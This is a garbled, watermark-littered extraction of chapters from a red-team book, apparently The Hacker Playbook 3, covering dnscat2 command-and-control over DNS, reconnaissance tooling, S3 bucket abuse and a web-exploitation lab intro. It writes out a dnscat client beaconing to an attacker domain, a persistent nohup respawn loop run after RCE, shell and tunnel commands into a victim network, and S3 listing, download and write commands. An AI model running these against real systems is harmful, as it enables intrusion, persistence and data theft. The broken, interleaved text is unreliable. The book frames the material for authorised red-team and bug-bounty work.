gem install bundler
bundle install
Test to make sure it works: ruby ./dnscat2.rb
rm
Quick Note: If you are using Amazon Lightsail, make sure to allow UDP port
53
ba
For the client code, we will need to compile it to make a binary for a Linux payload.
Compiling the Client
n-
Now that we have our authoritative DNS configured, our attacker server running dnscat2
w.
as a DNS server, and our malware compiled, we are ready to execute our payload.
Before we begin, we need to start dnscat on our attacker server. Although there are
ww
multiple configurations to enable, the main one is configuring the —secret flag to make
sure our communication within the DNS requests are encrypted. Make sure to replace
loca1host.com with the domain name you own and create a random secret string.
To start the dncat2 on your attacker server:
screen
ruby ./dnscat2.rb loca1host.com —secret 39dfj3hdsfajh37e8c902j
Let’s say you have some sort of RCE on a vulnerable server. You are able to run shell
commands and upload our dnscat payload. To execute our payload:
./dnscat loca1host.com —secret 39dfj3hdsfajh37e8c902j
This will start dnscat, use our authoritative server, and create our C2 channel. One thing I
om
have seen is that there are times when dnscat2 dies. This could be from large file transfers
or something just gets messed up. To circumvent these types of issues, I like to make sure
that my dnscat payload returns. For this, I generally like to start my dnscat payload with a
.c
quick bash script:
nohup /bin/bash -c “while true; do /opt/dnscat2/client/dnscat loca1host.com
—secret 39dfj3hdsfajh37e8c902j —max-retransmits 5; sleep 3600; done” >
ga
/dev/null 2>&1 &
ma
This will make sure that if the client side payload dies for any reason, it will spawn a new
instance every hour. Sometimes you only have one chance to get your payloads to run, so
you need to make them count!
r
ba
Lastly, if you are going to run this payload on Windows, you could use the dnscat2
payload or… why not just do it in PowerShell?! Luke Baggett wrote up a PowerShell
version of the dnscat client here: https://github.com/lukebaggett/dnscat2-powershell.
n-
We can spawn a terminal style shell by interacting with our command session:
Interact with our first command sessions
window -i 1
Start a shell sessions
shell
Back out to the main session
Ctrl-z
Interact with the 2 session - sh
window -i 2
Now, you should be able to run all shell commands (i.e. ls)
m
co
a.
ag
rm
ba
n-
Although this isn’t the fastest shell, due to the fact that all communication is over DNS, it
ar
really gets around those situations where a Meterpreter or similar shell just won’t work.
What is even better about dnscat2 is that it fully supports tunneling. This way, if we want
to use an exploit from our host system, use a browser to tunnel internal websites, or even
SSH into another box, it is all possible.
le
Tunnel in dnscat2
There are many times we want to route our traffic from our attacker server through our
w.
compromised host, to other internal servers. The most secure way to do this with dnscat2
is to route our traffic through the local port and then tunnel it to an internal system on the
network. An example of this can be accomplished by the following command inside our
ww
command session:
listen 127.0.0.1:9999 10.100.100.1:22
Once the tunnel is created, we can go back to our root terminal window on our attacker
machine, SSH to localhost over port 9999, and authenticate to an internal system on the
victim’s network.
m
co
This will provide all sorts of fun and a great test to see if your customer’s networks can
detect massive DNS queries and exfiltration. So, what do the request and responses look
a.
like? A quick Wireshark dump shows that dnscat2 creates massive amounts of different
DNS requests to many different long subdomains.
ag
rm
ba
Now, there are many other protocols that you might want to test. For example, Nishang
n-
and http://code.gerade.org/hans/.
ea
p0wnedShell
l
As stated on p0wnedShell’s Github page, this tool is “an offensive PowerShell host
w.
application written in C# that does not rely on powershell.exe but runs powershell
commands and functions within a powershell runspace environment (.NET). It has a lot of
offensive PowerShell modules and binaries included to make the process of Post
Exploitation easier. What we tried was to build an “all in one” Post Exploitation tool
ww
which we could use to bypass all mitigations solutions (or at least some off), and that has
all relevant tooling included. You can use it to perform modern attacks within Active
Directory environments and create awareness within your Blue team so they can build the
right defense strategies.” [https://github.com/Cn33liz/p0wnedShell]
Pupy Shell
Pupy is “an opensource, cross-platform (Windows, Linux, OSX, Android) remote
administration and post-exploitation tool mainly written in python.”
[https://github.com/n1nj4sec/pupy].
One of the awesome features of Pupy is that you can run Python across all of your agents
without having a Python actually installed on all of your hosts. So, if you are trying to
script out a lot of your attacks in a custom framework, Pupy is an easy tool with which to
do this.
co
PoshC2
PoshC2 is “a proxy aware C2 framework written completely in PowerShell to aid
a.
penetration testers with red teaming, post-exploitation and lateral movement. The tools
and modules were developed off the back of our successful PowerShell sessions and
payload types for the Metasploit Framework. PowerShell was chosen as the base language
ag
as it provides all of the functionality and rich features required without needing to
introduce multiple languages to the framework.” [https://github.com/nettitude/PoshC2]
rm
Merlin
ba
Additionally, HTTP/2 is a binary protocol that makes it more compact, easy to parse, and
not human readable without the use of an interpreting tool.”
[https://medium.com/@Ne0nd0g/introducing-merlin-645da3c635a#df21]
ar
Merlin is a tool written in GO, looks and feels similar to PowerShell Empire, and allows
for a lightweight agent. It doesn’t support any types of post exploitation modules, so you
le
Nishang
Nishang (https://github.com/samratashok/nishang) is a framework and collection of scripts
and payloads which enables usage of PowerShell for offensive security, penetration testing
ww
and Red Teaming. Nishang is useful during all phases of penetration testing.
Although Nishang is really a collection of amazing PowerShell scripts, there are some
scripts for lightweight Command and Control.
Conclusion
Now, you are finally prepared to head into battle with all of your tools and servers
configured. Being ready for any scenario will help you get around any obstacle from
network detection tools, blocked protocols, host based security tools, and more.
m
For the labs in this book, I have created a full Virtual Machine based on Kali Linux with
all the tools. This VMWare Virtual Machine can be found here:
co
http://thehackerplaybook.com/get.php?type=THP-vm. Within the THP archive, there
is a text file named List_of_Tools.txt which lists all the added tools. The default
username/password is the standard root/toor.
a.
ag
rm
ba
n-
ar
le
w.
ww
2 before the snap - red team recon
m
co
a.
ag
rm
ba
n-
r
lea
w.
ww
In the last THP, the Before The Snap section focused on using different tools such as
Recon-NG, Discover, Spiderfoot, Gitrob, Masscan, Sparta, HTTP Screenshot,
Vulnerability Scanners, Burp Suite and more. These were tools that we could use either
externally or internally to perform reconnaissance or scanning of our victim’s
infrastructure. We are going to continue this tradition and expand on the reconnaissance
phase from a Red Team perspective.
co
a.
ag
rm
ba
n-
ar
le
w.
ww
Monitoring an Environment
For Red Team campaigns, it is often about opportunity of attack. Not only do you need to
have your attack infrastructure ready at a whim, but you also need to be constantly looking
for vulnerabilities. This could be done through various tools that scan the environments,
looking for services, cloud misconfigurations, and more. These activities allow you to
gather more information about the victim’s infrastructure and find immediate avenues of
m
attack.
co
Regular Nmap Diffing
For all our clients, one of the first things we do is set up different monitoring scripts.
a.
These are usually just quick bash scripts that email us daily diffs of a client’s network. Of
course, prior to scanning, make sure you have proper authorization to perform scanning.
ag
For client networks that are generally not too large, we set up simple cronjob to perform
external port diffing. For example, we could create a quick Linux bash script to do the
hard work (remember to replace the IP range):
rm
#!/bin/bash
mkdir /opt/nmap_diff
d=$(date +%Y-%m-%d)
ba
if [ -e /opt/nmap_diff/scan_$y.xml ]; then
/usr/bin/ndiff /opt/nmap_diff/scan_$y.xml /opt/nmap_diff/scan_$d.xml >
/opt/nmap_diff/diff.txt
ar
fi
le
This is a very basic script that runs nmap every day using default ports and then uses ndiff
to compare the results. We can then take the output of this script and use it to notify our
team of new ports discovered daily.
w.
ww
In the last book, we talked heavily about the benefits of Masscan
(https://github.com/robertdavidgraham/masscan) and how much faster it is than nmap.
The developers of Masscan stated that, with a large enough network pipeline, you could
scan the entire internet in 6 minutes. The one issue we have seen is with Masscan’s
reliability when scanning large ranges. It is great for doing our initial reconnaissance, but
generally isn’t used for diffing.
om
Lab:
.c
Labs in THP3 are completely optional. In some sections, I have included addition labs to
perform testing or for areas that you can expand on. Since this is all about learning and
finding your own passion, I highly recommend you spend the time to make our tools
ga
better and share it with the community.
Build a better network diff scanner:
ma
Build a better port list than the default nmap (i.e. nmap default misses ports
like Redis 6379/6380 and others)
r
Implement nmap banners
Keep historical tracking of ports
ba
Web Screenshots
Other than regularly scanning for open ports/services, it is important for Red Teams to
also monitor for different web applications. We can use two tools to help monitor for
ar
application changes.
le
screencaptures of any websites it detects. This is a great way to get a quick layout of a
large internal or external network.
ww
Please remember that all tool references in this book are run from the THP modified Kali
Virtual Machine. You can find the Virtual Machine here:
http://thehackerplaybook.com/get.php?type=THP-vm. The username password is the
default: root/toor.
cd /opt/httpscreenshot/
Edit the networks.txt file to pick the network you want to scan:
gedit networks.txt
./masshttp.sh
firefox clusters.html
om
.c
ga
r ma
ba
Lab:
ar
cd /opt/EyeWitness
nmap [IP Range]/24 —open -p 80,443 -oX scan.xml
python ./EyeWitness.py -x scan.xml —web
le
w.
ww
m
co
a.
ag
rm
ba
n-
Cloud Scanning
As more and more companies switch over to using different cloud infrastructures, a lot of
new and old attacks come to light. This is usually due to misconfigurations and a lack of
ar
For Red Teamers, a problem is how do we search on different cloud environments? Since
w.
many tenants use dynamic IPs, their servers might not only change rapidly, but they also
aren’t listed in a certain block on the cloud provider. For example, if you use AWS, they
own huge ranges all over the world. Based on which region you pick, your server will
ww
randomly be dropped into a /13 CIDR range. For an outsider, finding and monitoring
these servers isn’t easy.
First, it is important to figure out where the IP ranges are owned by different providers.
Some of the examples are:
Amazon: http://bit.ly/2vUSjED
Azure: http://bit.ly/2r7rHeR
Google Cloud: http://bit.ly/2HAsZFm
As you can tell these ranges are huge and scanning them manually would be very hard to
do. Throughout this chapter, we will be reviewing how we can gain the information on
these cloud systems.
Network/Service Search Engines
m
To find cloud servers, there are many great resources freely available on the internet to
co
perform reconnaissance on our targets. We can use everything from Google all the way to
third party scanning services. Using these resources will allow us to dig into a company
and find information about servers, open services, banners, and other details passively.
a.
The company will never know that you queried for this type of information. Let’s see how
we use some of these resources as Red Teamers.
Shodan
ag
Shodan (https://www.shodan.io) is a great service that regularly scans the internet,
grabbing banners, ports, information about networks, and more. They even have
rm
vulnerability information like Heartbleed. One of the most fun uses for Shodan is looking
through open web cams and playing around with them. From a Red Team perspective, we
want to find information about our victims.
ba
A Few Basic Search Queries:
n-
cyberspacekittens.com
Search in the Title HTML Tag
w.
title:cyberspacekittens
Search in the Context of the page
html:cyberspacekittens.com
ww
Note, I have noticed that Shodan is a little slow in its scans. It took more than a month to
get my servers scanned and put into the Shodan database.
Censys.io
Censys continually monitors every reachable server and device on the Internet, so you can
search for and analyze them in real time. You will be able to understand your network
attack surface, discover new threats, and assess their global impact [https://censys.io/].
One of the best features of Censys is that it scrapes information from SSL certificates.
Typically, one of the major difficulties for Red Teamers is finding where our victim’s
servers are located on cloud servers. Luckily, we can use Censys.io to find this
information as they already parse this data.
The one issue we have with these scans is that they can sometime be days or weeks
m
behind. In this case, it took one day to get scanned for title information. Additionally,
co
after creating an SSL certificate on my site, it took four days for the information to show
up on the Censys.io site. In terms of data accuracy, Censys.io was decently reliable.
a.
Below, we ran scans to find info about our target cyberspacekittens.com. By parsing the
server’s SSL certificate, we were able to identify that our victim’s server was hosted on
AWS.
ag
rm
ba
n-
ea
implemented. They believe that their servers are protected, but we discover that they are
publicly facing. These include Redis databases, Jenkin servers, Tomcat management,
NoSQL databases, and more – many of which led to remote code execution or loss of PII.
The cheap and dirty way to find these cloud servers is by manually scanning SSL
certificates on the internet in an automated fashion. We can take the list of IP ranges for
our cloud providers and scan all of them regularly to pull down SSL certificates. Looking
at the SSL certs, we can learn a great deal about an organization. From the scan below of
the cyberspacekittens range, we can see hostnames in certificates with .int. for internal
servers, .dev. for development, vpn. for VPN servers, and more. Many times you can gain
internal hostnames that might not have public IPs or whitelisted IPs for their internal
networks.
To assist in scanning for hostnames in certificates, sslScrape was developed for THP3.
This tool utilizes Masscan to quickly scan large networks. Once it identifies services on
m
port 443, it then strips the hostnames in the certificates.
co
sslScrape (https://github.com/cheetz/sslScrape):
a.
cd /opt/sslScrape
python ./sslScrape.py [IP Address CIDR Range]
ag
rm
ba
n-
ar
le
w.
ww
m
co
a.
ag
rm
ba
Examples of Cloud IP Addresses:
n-
Amazon: http://bit.ly/2vUSjED
Azure: http://bit.ly/2r7rHeR
Google Cloud: http://bit.ly/2HAsZFm
ar
Throughout this book, I try to provide examples and an initial framework. However, it is
le
up to you to develop this further. I highly recommend you take this code as a start, save
all hostnames to a database, make a web UI frontend, connect additional ports that might
have certs like 8443, and maybe even look for some vulnerabilities like .git/.svn style
w.
repos.
ww
Subdomain Discovery
In terms of identifying IP ranges, we can normally look up the company from public
sources like the American Registry for Internet Numbers (ARIN) at https://www.arin.net/.
We can look up IP address space to owners, search Networks owned by companies,
Autonomous System Numbers by organization, and more. If we are looking outside North
America, we can look up via AFRINIC (Africa), APNIC (Asia), LACNIC (Latin
America), and RIPE NCC (Europe). These are all publicly available and listed on their
servers.
You can look up any hostname or FQDN to find the owner of that domain through many
available public sources (one of my favorites to quickly lookup ownership is
https://centralops.net/co/domaindossier.aspx). What you can’t find listed anywhere are
subdomains. Subdomain information is stored on the target’s DNS server versus
registered on some central public registration system. You have to know what to search
for to find a valid subdomain.
co
Why are subdomains so important to find for your victim targets? A few reasons are:
Some subdomains can indicate the type of server it is (i.e. dev, vpn, mail,
a.
internal, test). For example, mail.cyberspacekittens.com.
Some servers do not respond by IP. They could be on shared infrastructure
and only respond by fully qualified domains. This is very common to find on
cloud infrastructure. So you can nmap all day, but if you can’t find the
ag
subdomain, you won’t really know what applications are behind that IP.
Subdomains can provide information about where the target is hosting their
servers. This is done by finding all of a company’s subdomains, performing
rm
reverse lookups, and finding where the IPs are hosted. A company could be
using multiple cloud providers and datacenters.
ba
We did a lot of discovery in the last book, so let’s review some of the current and new
tools to perform better discovery. Feel free to join in and scan the cyberspacekittens.com
-
domain.
rn
Discover Scripts
Discover Scripts (https://github.com/leebaird/discover) tool is still one of my favorite
recon/discovery tools discussed in the last book. This is because it combines all the recon
ea
tools on Kali Linux and is maintained regularly. The passive domain recon will utilize all
the following tools: Passive uses ARIN, dnsrecon, goofile, goog-mail, goohost,
theHarvester, Metasploit, URLCrazy, Whois, multiple websites, and recon-ng.
.l
./discover.sh
ww
Domain
Passive
[Company Name]
[Domain Name]
firefox /root/data/[Domain]/index.htm
The best part of Discover scripts is that it takes the information it gathers and keeps
searching based on that information. For example, from searching through the public PGP
repository it might identify emails and then use that information to search Have I Been
Pwned (through Recon-NG). That will let us know if any passwords have been found
through publicly-released compromises (which you will have to find on your own).
KNOCK
Next, we want to get a good idea of all the servers and domains a company might use.
Although there isn’t a central place where subdomains are stored, we can bruteforce
m
different subdomains with a tool, such as Knock, to identify what servers or hosts might
be available for attack.
co
Knockpy is a python tool designed to enumerate subdomains on a target domain through a
a.
wordlist.
ag
Knock is a great subdomain scan tool that takes a list of subdomains and checks it to see if
it resolves. So if you have cyberspacekittens.com, Knock will take this wordlist
(http://bit.ly/2JOkUyj), and see if there are any subdomains for
[subdomain].cyberspacekittens.com. Now, the one caveat here is that it is only as good as
rm
your word list. Therefore, having a better wordlist increases your chances of finding
subdomains.
ba
One of my favorite subdomains is created by jhaddix and is located here:
http://bit.ly/2qwxrxB. Subdomains are one of those things that you should always be
n-
collecting. Some other good lists can be found on your THP Kali image under
/opt/SecLists or here:
https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS.
ar
Lab:
le
This uses the basic wordlist from Knock. Try downloading and using a much
larger wordlist. Try using the http://bit.ly/2qwxrxB list using the -u switch.
(i.e. python ./knockpy.py cyberspacekittens.com -u all.txt).
ww
What types of differences did you find from Discover scripts? What types of domains
would be your first targets for attacks or used with spearphishing domain attacks? Go and
give it a try in the real world. Go find a bug bounty program and look for juicy-looking
subdomains.
Sublist3r
As previously mentioned, the problem with Knock is that it is only as good as your
wordlist. Some companies have very unique subdomains that can’t be found through a
common wordlist. The next best resource to go to are search engines. As sites get
spidered, files with links get analyzed and scraped public resources become available,
which means we can use search engines to do the hard work for us.
This is where we can use a tool like Sublist3r. Note, using a tool like this uses different
“google dork” style search queries that can look like a bot. This could get you temporarily
om
blacklisted and require you to fill out a captcha with every request, which may limit the
results from your scan. To run Sublister:
.c
cd /opt/Sublist3r
python sublist3r.py -d cyberspacekittens.com -o cyberspacekittens.com
ga
Notice any results that might have never been found from subdomain bruteforcing?
Again, try this against a bug bounty program to see significant differences between
bruteforcing and using search engines.
ma
*There is a forked version of Sublist3r that also performs subdomain checking:
ar
https://github.com/Plazmaz/Sublist3r.
SubBrute
-b
The last subdomain tool is called SubBrute. SubBrute is a community-driven project with
the goal of creating the fastest, and most accurate subdomain enumeration tool. Some of
the magic behind SubBrute is that it uses open resolvers as a kind of proxy to circumvent
n
Not only is SubBrute extremely fast, it performs a DNS spider feature that crawls
enumerated DNSrecords. To run SubBrute:
cd /opt/subbrute
w.
./subbrute.py cyberspacekittens.com
ww
We can also take SubBrute to the next level and combine it with MassDNS to perform
very high-performance DNS resolution (http://bit.ly/2EMKIHg).
Github
Github is a treasure trove of amazing data. There have been a number of penetration tests
and Red Team assessments where we were able to get passwords, API keys, old source
code, internal hostnames/IPs, and more. These either led to a direct compromise or
assisted in another attack. What we see is that many developers either push code to the
wrong repo (sending it to their public repository instead of their company’s private
repository), or accidentally push sensitive material (like passwords) and then try to remove
it. One good thing with Github is that it tracks every time code is modified or deleted.
That means if sensitive code at one time was pushed to a repository and that sensitive file
is deleted, it is still tracked in the code changes. As long as the repository is public, you
will be able to view all of these changes.
We can either use Github search to identify certain hostnames/organizational names or
m
even just use simple Google Dork search, for example:
co
site:github.com + “cyberspacekittens”.
a.
Try searching bug bounty programs using different organizations instead of searching for
cyberspacekittens for the following examples.
ag
Through all your searching, you come across:
https://github.com/cyberspacekittens/dnscat2 (modified example for GitHub lab). You can
rm
manually take a peek at this repository, but usually it will be so large that you will have a
hard time going through all of the projects to find anything juicy.
ba
As mentioned before, when you edit or delete a file in Github, everything is tracked.
Fortunately for Red Teamers, many people forget about this feature. Therefore, we often
see people put sensitive information into Github, delete it, and not realize it’s still there!
n-
Truffle Hog tool scans different commit histories and branches for high entropy keys, and
prints them. This is great for finding secrets, passwords, keys, and more. Let’s see if we
can find any secrets on cyberspacekittens’ Github repository.
le
Lab:
cd /opt/trufflehog/truffleHog
w.
ga
server/controller/csk.config, but if you look at the current repo, you won’t find this file:
https://github.com/cheetz/dnscat2/tree/master/server/controller.
ma
Even better (but a little more complicated to set up) is git-all-secrets from
(https://github.com/anshumanbh/git-all-secrets). Git-all-secrets is useful when looking
through large organizations. You can just point to an organization and have it clone the
ar
code locally, then scan it with Truffle-hog and repo-supervisor. You will first need to
create a Github Access Token, which is free by creating a Github and selecting Generate
New Token in the settings.
-b
To run git-all-secrets:
n
cd /opt/git-all-secrets
ar
Once you have the container ID, get the results file from the container to the
host by typing:
docker cp <container-id>:/data/results.txt .
ww
Cloud
As we spoke prior, cloud is one area where we see a lot of companies improperly securing
their environment. The most common issues we generally see are:
Amazon S3 Missing Buckets: https://hackerone.com/reports/121461
Amazon S3 Bucket Permissions: https://hackerone.com/reports/128088
Being able to list and write files to public AWS buckets:
aws s3 ls s3://[bucketname]
aws s3 mv test.txt s3://[bucketname]
Lack of Logging
Before we can start testing misconfigurations on different AWS buckets, we need to first
identify them. We are going to try a couple different tools to see what we can discover on
our victim’s AWS infrastructure.
m
co
S3 Bucket Enumeration
There are many tools that can perform S3 bucket enumeration for AWS. These tools
generally take keywords or lists, apply multiple permutations, and then try to identify
a.
different buckets. For example, we can use a tool called Slurp
(https://github.com/bbb31/slurp) to find information about our target CyberSpaceKittens:
cd /opt/slurp
ag
./slurp domain -t cyberspacekittens.com
./slurp keyword -t cyberspacekittens
rm
ba
Bucket Finder
n-
Another tool, Bucket Finder, will not only attempt to find different buckets, but also
download all the content from those buckets for analysis:
wget https://digi.ninja/files/bucket_finder_1.1.tar.bz2 -O
ar
bucket_finder_1.1.tar.bz2
cd /opt/bucket_finder
./bucket_finder.rb —region us my_words —download
le
w.
ww
You have been running discovery on Cyber Space Kittens’ infrastructure and identify one
of their S3 buckets (cyberspacekittens.s3.amazonaws.com). What are your first steps in
retrieving what you can and cannot see on the S3 bucket? You can first pop it into a
browser and see some information:
om
.c
ga
ma
Prior to starting, we need to create an AWS account to get an Access Key ID. You can get
ar
yours for free at Amazon here: https://aws.amazon.com/s/dm/optimization/server-side-
test/free-tier/free_np/. Once you create an account, log into AWS, go to Your Security
Credentials (https://amzn.to/2ItaySR), and then to Access Keys. Once you have your
-b
Install awscli
sudo apt install awscli
Configure Credentials
le
aws configure
Look at the permissions on CyberSpaceKittens’ S3 bucket
aws s3api get-bucket-acl —bucket cyberspacekittens
Read files from the S3 Bucket
w.
aws s3 ls s3://cyberspacekittens
Download Everything in the S3 Bucket
aws s3 sync s3://cyberspacekittens .
ww
Other than query S3, the next thing to test is writing to that bucket. If we have write
access, it could allow complete RCE of their applications. We have often seen that when
files stored on S3 buckets are used on all of their pages (and if we can modify these files),
we can put our malicious code on their web application servers.
Writing to S3:
echo “test” > test.txt
aws s3 mv test.txt s3://cyberspacekittens
aws s3 ls s3://cyberspacekittens
m
co
*Note, write has been removed from the Everyone group. This was just for demonstration.
a.
Modify Access Controls in AWS Buckets
ag
When analyzing AWS security, we need to review the controls around permissions on
objects and buckets. Objects are the individual files and buckets are logical units of
storage. Both of these permissions can potentially be modified by any user if provisioned
rm
incorrectly.
ba
First, we can look at each object to see if these permissions are configured correctly:
aws s3api get-object-acl —bucket cyberspacekittens —key ignore.txt
n-
We will see that the file is only writeable by a user named “secure”. It is not open to
everyone. If we did have write access, we could use the put-object in s3api to modify that
ar
file.
le
Next, we look to see if we can modify the buckets themselves. This can be accomplished
with:
aws s3api get-bucket-acl —bucket cyberspacekittens
w.
ww
m
co
a.
Again, in both of these cases, READ is permissioned globally, but FULL_CONTROL or
ag
any write is only allowed by an account called “secure”. If we did have access to the
bucket, we could use the —grant-full-control to give ourselves full control of the bucket
and objects. rm
Resources:
ba
https://labs.detectify.com/2017/07/13/a-deep-dive-into-aws-s3-access-
controls-taking-full-control-over-your-assets/
n-
Subdomain Takeovers
Subdomain takeovers are a common vulnerability we see with almost every company
r
these days. What happens is that a company utilizes some third party CMS/Content/Cloud
Provider and points their subdomains to these platforms. If they ever forget to configure
ea
the third party service or deregister from that server, an attacker can take over that
hostname with the third party.
l
w.
om
with domain takeovers are:
HostileSubBruteforcer (https://github.com/nahamsec/HostileSubBruteforcer)
autoSubTakeover (https://github.com/JordyZomer/autoSubTakeover)
.c
Want to learn more about AWS vulnerabilities? A great CTF AWS Walkthrough:
ga
http://flaws.cloud/.
Emails
ma
A huge part of any social engineering attack is to find email addresses and names of
employees. We used Discover Script in the previous chapters, which is great for
r
collecting much of this data. I usually start with Discover scripts and begin digging into
ba
the other tools. Every tool does things slightly differently and it is beneficial to use as
many automated processes as you can.
n-
Once you get a small list of emails, it is good to understand their email format. Is it
firstname.lastname @cyberspacekitten.com or is it first initial.lastname
@cyberspacekittens.com? Once you can figure out their format, we can use tools like
ar
LinkedIn to find more employees and try to identify their email addresses.
SimplyEmail
le
We all know that spear phishing is still one of the more successful avenues of attack. If
we don’t have any vulnerabilities from the outside, attacking users is the next step. To
build a good list of email addresses, we can use a tool like SimplyEmail. The output of
w.
this tool will provide the email address format of the company and a list of valid users
ww
Lab:
Find all email accounts for cnn.com
cd /opt/SimplyEmail
./SimplyEmail.py -all -v -e cyberspacekittens.com
firefox cyberspacekittens.com<date_time>/Email_List.html
This may take a long time to run as it checks Bing, Yahoo, Google, Ask Search, PGP
Repos, files, and much more. This may also make your network look like a bot to search
engines and may require captchas if you produce too many search requests.
m
co
a.
Run this against your company. Do you see any email addresses that you recognize?
These might be the first email addresses that could be targeted in a large scale campaign.
Past Breaches
ag
One of the best ways to get email accounts is to continually monitor and capture past
breaches. I don’t want to link directly to the breaches files, but I will reference some of
the ones that I have found useful:
rm
1.4 Billion Password Leak 2017: https://thehackernews.com/2017/12/data-
ba
breach-password-list.html
Adobe Breach from 2013:
https://nakedsecurity.sophos.com/2013/11/04/anatomy-of-a-password-
n-
disaster-adobes-giant-sized-cryptographic-blunder/
Pastebin Dumps: http://psbdmp.ws/
Exploit.In Dump
ar
m
Collection of OSINT Links:
https://github.com/IVMachiavelli/OSINT_Team_Links
co
OSINT Framework: http://osintframework.com/
a.
ag
rm
ba
n-
ar
le
w.
ww
Conclusion
In this chapter we went over all the different reconnaissance tactics and tools of the trade.
This is just a start as many of these techniques are manual and require a fair amount of
time to execute. It is up to you to take this to the next level, automate all these tools, and
make the recon fast and efficient.
m
co
a.
ag
rm
ba
n-
ar
le
w.
ww
3 the throw - web application exploitation
co
a.
ag
rm
ba
n-
r
lea
w.
ww
Over the past couple of years, we have seen some critical, externally-facing web attacks.
Everything from the Apache Struts 2 (although not confirmed for the Equifax breach -
http://bit.ly/2HokWi0), Panera Bread (http://bit.ly/2qwEMxH), and Uber
(http://ubr.to/2hIO2tZ). There is no doubt we will continue to see many other severe
breaches from public internet facing end-points.
m
The security industry, as a whole, runs in a cyclical pattern. If you look at the different
co
layers of the OSI model, the attacks shift to a different layer every other year. In terms of
web, back in the early 2000s, there were tons of SQLi and RFI type exploits. However,
once companies started to harden their external environments and began performing
a.
external penetration test, we, as attackers, moved to Layer 8 attacks focusing on social
engineering (phishing) for our initial entry point. Now, as we see organizations improving
their internal security with Next Generation Endpoint/Firewall Protection, our focus is
ag
shifting back onto application exploitation. We have also seen a huge complexity
increase in applications, APIs, and languages, which has reopened many old and even new
vulnerabilities.
rm
Since this book is geared more toward Red Teaming concepts, we will not go too deeply
ba
into all of the different web vulnerabilities or how to manually exploit them. This won’t
be your checklist style book. You will be focusing on vulnerabilities that Red Teamers
and bad guys are seeing in the real world, which lead to the compromising of PII, IP,
networks, and more. For those who are looking for the very detailed web methodologies,
n-
I always recommend starting with the OWASP Testing Guide (http://bit.ly/2GZbVZd and
https://www.owasp.org/images/1/19/OTGv4.pdf).
ar
Note, since as many of the attacks from THP2 have not changed, we won’t be repeating
examples like SQLMap, IDOR attacks, and CSRF vulnerabilities in the following
le
m
One caveat though: on average, it takes about 3-6 months before you begin to consistently
co
find bugs. Our advice: don’t get frustrated, keep up-to-date with other bug bounty
hunters, and don’t forget to check out the older programs.
a.
The more common bug bounty programs are HackerOne (https://www.hackerone.com),
BugCrowd (https://bugcrowd.com/programs) and SynAck (https://www.synack.com/red-
ag
team/). There are plenty of other ones out there as well (https://www.vulnerability-
lab.com/list-of-bug-bounty-programs.php). These programs can pay anywhere from Free
to $20k+. rm
Many of my students find it daunting to start bug hunting. It really requires you to just
dive in, allot a few hours a day, and focus on understanding how to get that sixth sense to
ba
find bugs. Generally, a good place to start is to look at No-Reward Bug Bounty Programs
(as the pros won’t be looking here) or at large older programs like Yahoo. These types of
sites tend to have a massive scope and lots of legacy servers. As mentioned in prior
n-
books, scoping out pentests is important and bug bounties are no different. Many of the
programs specify what can and cannot be done (i.e., no scanning, no automated tools,
which domains can be attacked, etc.). Sometimes you get lucky and they allow
ar
Let’s look at eBay, for example, as they have a public bug bounty program. On their bug
bounty site (http://pages.ebay.com/securitycenter/Researchers.html), they state guidelines,
eligible domains, eligible vulnerabilities, exclusions, how to report, and
w.
acknowledgements:
ww
m
co
a.
ag
How you report vulnerabilities to the company is generally just as important as the finding
itself. You want to make sure you provide the company with as much detail as possible.
rm
This would include the type of vulnerability, severity/criticality, what steps you took to
exploit the vulnerability, screenshots, and even a working proof of concept. If you need
help creating consistent reports, take a look at this report generation form:
ba
https://buer.haus/breport/index.php.
r n-
l ea
w.
ww
Having run my own programs before, one thing to note about exploiting vulnerabilities for
bug bounty programs is that I have seen a few cases where researchers got carried away
and went past validating the vulnerability. Some examples include dumping a whole
database after finding an SQL injection, defacing a page with something they thought was
funny after a subdomain takeover, and even laterally moving within a production
environment after an initial remote code execution vulnerability. These cases could lead
to legal trouble and to potentially having the Feds at your door. So use your best
judgement, check the scope of the program, and remember that if it feels illegal, it
probably is.
Web Attacks Introduction - Cyber Space Kittens
After finishing reconnaissance and discovery, you review all the different sites you found.
Looking through your results, you don’t see the standard exploitable
servers/misconfigured applications. There aren’t any Apache Tomcat servers or
Heartbleed/ShellShock, and it looks like they patched all the Apache Strut issues and their
CMS applications.
co
Your sixth sense intuition kicks into full gear and you start poking around at their
Customer Support System application. Something just doesn’t feel right, but where to
start?
a.
For all the attacks in the Web Application Exploitation chapter, a custom THP3 VMWare
ag
Virtual Machine is available to repeat all these labs. This virtual machine is freely
available here:
http://thehackerplaybook.com/get.php?type=csk-web
rm
To set up the demo for the Web Environment (Customer System Support):
ba
https://github.com/cheetz/THP-
ChatSupportSystem/blog/master/lab.txt
Bit.ly Link: http://bit.ly/2qBDrFo
ar
On our attacker Kali VM, let’s edit our host file to point to our
vulnerable application to reference the application by hostname
versus by IP:
ww
gedit /etc/hosts
Add the following line with the IP of your vulnerable application:
[IP Address of Vuln App]chat
Now, go to your browser in Kali and go to http://chat:3000/. If
everything worked, you should be able to see the NodeJS Custom
Vuln Application.
